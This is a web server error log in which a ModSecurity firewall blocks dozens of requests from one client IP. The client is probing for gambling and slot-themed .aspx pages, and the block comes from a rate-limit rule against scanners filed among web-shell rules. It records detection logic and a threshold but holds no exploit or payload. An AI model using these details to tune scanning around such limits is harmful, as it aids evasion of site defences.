[Sat Apr 18 18:50:14.236228 2026] [:error] [pid 9864:tid 9906] [client 51.161.86.195:53526] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeNh5oCFeowknfXHM7n7IgAAAEE"]
[Sat Apr 18 18:50:14.425180 2026] [:error] [pid 9864:tid 9916] [client 51.161.86.195:53542] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aeNh5oCFeowknfXHM7n7IwAAAEo"]
[Sat Apr 18 18:50:15.819332 2026] [:error] [pid 13023:tid 13043] [client 51.161.86.195:41254] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeNh5_1e7hG8DAeABB_yWwAAARI"]
[Sat Apr 18 18:50:16.191296 2026] [:error] [pid 9970:tid 9987] [client 51.161.86.195:41256] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeNh6CYdRLRhVmaIMx2kEwAAAM0"]
[Sat Apr 18 18:50:16.270368 2026] [:error] [pid 13023:tid 13049] [client 51.161.86.195:41272] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aeNh6P1e7hG8DAeABB_yXgAAARg"]
[Sat Apr 18 18:50:29.508338 2026] [:error] [pid 9864:tid 9905] [client 51.161.86.195:41278] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aeNh9YCFeowknfXHM7n7NgAAAEA"]
[Sat Apr 18 18:50:30.850120 2026] [:error] [pid 9864:tid 9908] [client 51.161.86.195:41286] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aeNh9oCFeowknfXHM7n7NwAAAEM"]
[Sat Apr 18 18:50:31.157926 2026] [:error] [pid 34290:tid 34342] [client 51.161.86.195:41296] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aeNh9xqX6WpmmAXOBi8D2gAAAdc"]
[Sat Apr 18 18:50:31.882551 2026] [:error] [pid 34290:tid 34333] [client 51.161.86.195:47118] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aeNh9xqX6WpmmAXOBi8D3AAAAc4"]
[Sat Apr 18 18:50:32.765050 2026] [:error] [pid 34237:tid 34255] [client 51.161.86.195:47132] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aeNh-BBmX4Wq5a6rxfZ94wAAAVA"]
[Sat Apr 18 18:50:33.025364 2026] [:error] [pid 9864:tid 9928] [client 51.161.86.195:47144] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aeNh-YCFeowknfXHM7n7OQAAAFY"]
[Sat Apr 18 18:50:33.796634 2026] [:error] [pid 9970:tid 9998] [client 51.161.86.195:47158] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aeNh-SYdRLRhVmaIMx2kLAAAANg"]
[Sat Apr 18 18:50:34.704856 2026] [:error] [pid 9864:tid 9916] [client 51.161.86.195:47164] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aeNh-oCFeowknfXHM7n7PQAAAEo"]
[Sat Apr 18 18:50:35.347704 2026] [:error] [pid 9864:tid 9909] [client 51.161.86.195:38190] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aeNh-4CFeowknfXHM7n7PgAAAEQ"]
[Sat Apr 18 18:50:36.060258 2026] [:error] [pid 9864:tid 9914] [client 51.161.86.195:38192] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aeNh_ICFeowknfXHM7n7QAAAAEg"]
[Sat Apr 18 18:50:36.504812 2026] [:error] [pid 34237:tid 34254] [client 51.161.86.195:38204] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aeNh_BBmX4Wq5a6rxfZ96AAAAU8"]
[Sat Apr 18 18:50:37.248250 2026] [:error] [pid 34237:tid 34241] [client 51.161.86.195:38214] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aeNh_RBmX4Wq5a6rxfZ96gAAAUI"]
[Sat Apr 18 18:50:38.200045 2026] [:error] [pid 34237:tid 34253] [client 51.161.86.195:38218] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aeNh_hBmX4Wq5a6rxfZ97AAAAU4"]
[Sat Apr 18 18:50:38.466127 2026] [:error] [pid 34290:tid 34321] [client 51.161.86.195:38234] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aeNh_hqX6WpmmAXOBi8D6QAAAcI"]
[Sat Apr 18 18:50:39.255198 2026] [:error] [pid 34237:tid 34260] [client 51.161.86.195:38236] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aeNh_xBmX4Wq5a6rxfZ98AAAAVU"]
[Sat Apr 18 18:50:40.250261 2026] [:error] [pid 34237:tid 34245] [client 51.161.86.195:38242] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aeNiABBmX4Wq5a6rxfZ99AAAAUY"]
[Sat Apr 18 18:50:40.594397 2026] [:error] [pid 34237:tid 34250] [client 51.161.86.195:38256] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aeNiABBmX4Wq5a6rxfZ99QAAAUs"]
[Sat Apr 18 18:50:41.181164 2026] [:error] [pid 9863:tid 9886] [client 51.161.86.195:38270] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aeNiATjjiypiFrTucbLBNgAAAA0"]
[Sat Apr 18 18:50:42.281161 2026] [:error] [pid 34288:tid 34312] [client 51.161.86.195:38280] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aeNiAuTIiy__PtiLmpnJZwAAAZQ"]
[Sat Apr 18 18:50:42.488550 2026] [:error] [pid 9864:tid 9926] [client 51.161.86.195:38284] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aeNiAoCFeowknfXHM7n7SwAAAFQ"]
[Sat Apr 18 18:50:42.981463 2026] [:error] [pid 9970:tid 9977] [client 51.161.86.195:38286] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aeNiAiYdRLRhVmaIMx2kMAAAAMM"]
[Sat Apr 18 18:50:44.432357 2026] [:error] [pid 34290:tid 34323] [client 51.161.86.195:38292] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aeNiBBqX6WpmmAXOBi8D9AAAAcQ"]
[Sat Apr 18 18:50:44.601173 2026] [:error] [pid 34290:tid 34328] [client 51.161.86.195:38304] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aeNiBBqX6WpmmAXOBi8D9QAAAck"]
[Sat Apr 18 18:50:44.801627 2026] [:error] [pid 34290:tid 34340] [client 51.161.86.195:38310] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aeNiBBqX6WpmmAXOBi8D9gAAAdU"]
[Sat Apr 18 18:50:46.554218 2026] [:error] [pid 9865:tid 9942] [client 51.161.86.195:58946] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aeNiBqzb5knECIY-C-h0ZwAAAIU"]
[Sat Apr 18 18:50:46.751134 2026] [:error] [pid 9864:tid 9910] [client 51.161.86.195:58962] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aeNiBoCFeowknfXHM7n7UAAAAEU"]
[Sat Apr 18 18:50:46.813809 2026] [:error] [pid 9864:tid 9928] [client 51.161.86.195:58968] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aeNiBoCFeowknfXHM7n7UQAAAFY"]
[Sat Apr 18 18:50:48.547365 2026] [:error] [pid 13023:tid 13032] [client 51.161.86.195:58976] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aeNiCP1e7hG8DAeABB_ybAAAAQc"]
[Sat Apr 18 18:50:48.836469 2026] [:error] [pid 9864:tid 9924] [client 51.161.86.195:58978] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aeNiCICFeowknfXHM7n7VAAAAFI"]
[Sat Apr 18 18:50:49.169108 2026] [:error] [pid 9865:tid 9937] [client 51.161.86.195:58984] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aeNiCazb5knECIY-C-h0aAAAAIA"]
[Sat Apr 18 18:50:50.527574 2026] [:error] [pid 34290:tid 34337] [client 51.161.86.195:59000] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aeNiChqX6WpmmAXOBi8D_AAAAdI"]
[Sat Apr 18 18:50:50.884843 2026] [:error] [pid 13023:tid 13049] [client 51.161.86.195:59004] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aeNiCv1e7hG8DAeABB_ycgAAARg"]
[Sat Apr 18 18:50:51.300883 2026] [:error] [pid 9864:tid 9929] [client 51.161.86.195:59018] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aeNiC4CFeowknfXHM7n7VQAAAFc"]
[Sat Apr 18 18:50:52.352122 2026] [:error] [pid 9864:tid 9917] [client 51.161.86.195:59020] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeNiDICFeowknfXHM7n7VwAAAEs"]
[Sat Apr 18 18:50:53.073274 2026] [:error] [pid 34237:tid 34260] [client 51.161.86.195:59024] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aeNiDRBmX4Wq5a6rxfZ9-QAAAVU"]
[Sat Apr 18 18:50:53.182244 2026] [:error] [pid 9864:tid 9922] [client 51.161.86.195:59026] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aeNiDYCFeowknfXHM7n7WQAAAFA"]
[Sat Apr 18 18:50:54.404244 2026] [:error] [pid 34237:tid 34261] [client 51.161.86.195:59030] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aeNiDhBmX4Wq5a6rxfZ9-gAAAVY"]
[Sat Apr 18 18:50:55.294341 2026] [:error] [pid 9864:tid 9926] [client 51.161.86.195:40170] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aeNiD4CFeowknfXHM7n7XgAAAFQ"]
[Sat Apr 18 18:50:56.359634 2026] [:error] [pid 9970:tid 9995] [client 51.161.86.195:40180] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aeNiECYdRLRhVmaIMx2kOwAAANU"]
[Sat Apr 18 18:50:56.892181 2026] [:error] [pid 34288:tid 34314] [client 51.161.86.195:40194] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aeNiEOTIiy__PtiLmpnJcQAAAZY"]
[Sat Apr 18 18:50:57.174087 2026] [:error] [pid 9970:tid 9975] [client 51.161.86.195:40204] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeNiESYdRLRhVmaIMx2kPgAAAME"]
[Sat Apr 18 18:50:58.438207 2026] [:error] [pid 9863:tid 9874] [client 51.161.86.195:40214] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aeNiEjjjiypiFrTucbLBQQAAAAE"]
[Sat Apr 18 18:50:59.073897 2026] [:error] [pid 9864:tid 9915] [client 51.161.86.195:40230] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aeNiE4CFeowknfXHM7n7YgAAAEk"]
[Sat Apr 18 18:50:59.202369 2026] [:error] [pid 9864:tid 9923] [client 51.161.86.195:40234] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aeNiE4CFeowknfXHM7n7YwAAAFE"]
[Sat Apr 18 18:51:00.142921 2026] [:error] [pid 34237:tid 34243] [client 51.161.86.195:40244] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aeNiFBBmX4Wq5a6rxfZ9_QAAAUQ"]
[Sat Apr 18 18:51:00.912482 2026] [:error] [pid 34237:tid 34250] [client 51.161.86.195:40248] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aeNiFBBmX4Wq5a6rxfZ-AAAAAUs"]
[Sat Apr 18 18:51:01.795699 2026] [:error] [pid 34237:tid 34247] [client 51.161.86.195:40262] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeNiFRBmX4Wq5a6rxfZ-AgAAAUg"]
[Sat Apr 18 18:51:02.057526 2026] [:error] [pid 9864:tid 9926] [client 51.161.86.195:40278] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeNiFoCFeowknfXHM7n7agAAAFQ"]
[Sat Apr 18 18:51:03.826809 2026] [:error] [pid 34237:tid 34239] [client 51.161.86.195:40286] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aeNiFxBmX4Wq5a6rxfZ-EQAAAUA"]
[Sat Apr 18 18:51:03.934545 2026] [:error] [pid 34237:tid 34247] [client 51.161.86.195:40300] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aeNiFxBmX4Wq5a6rxfZ-EwAAAUg"]
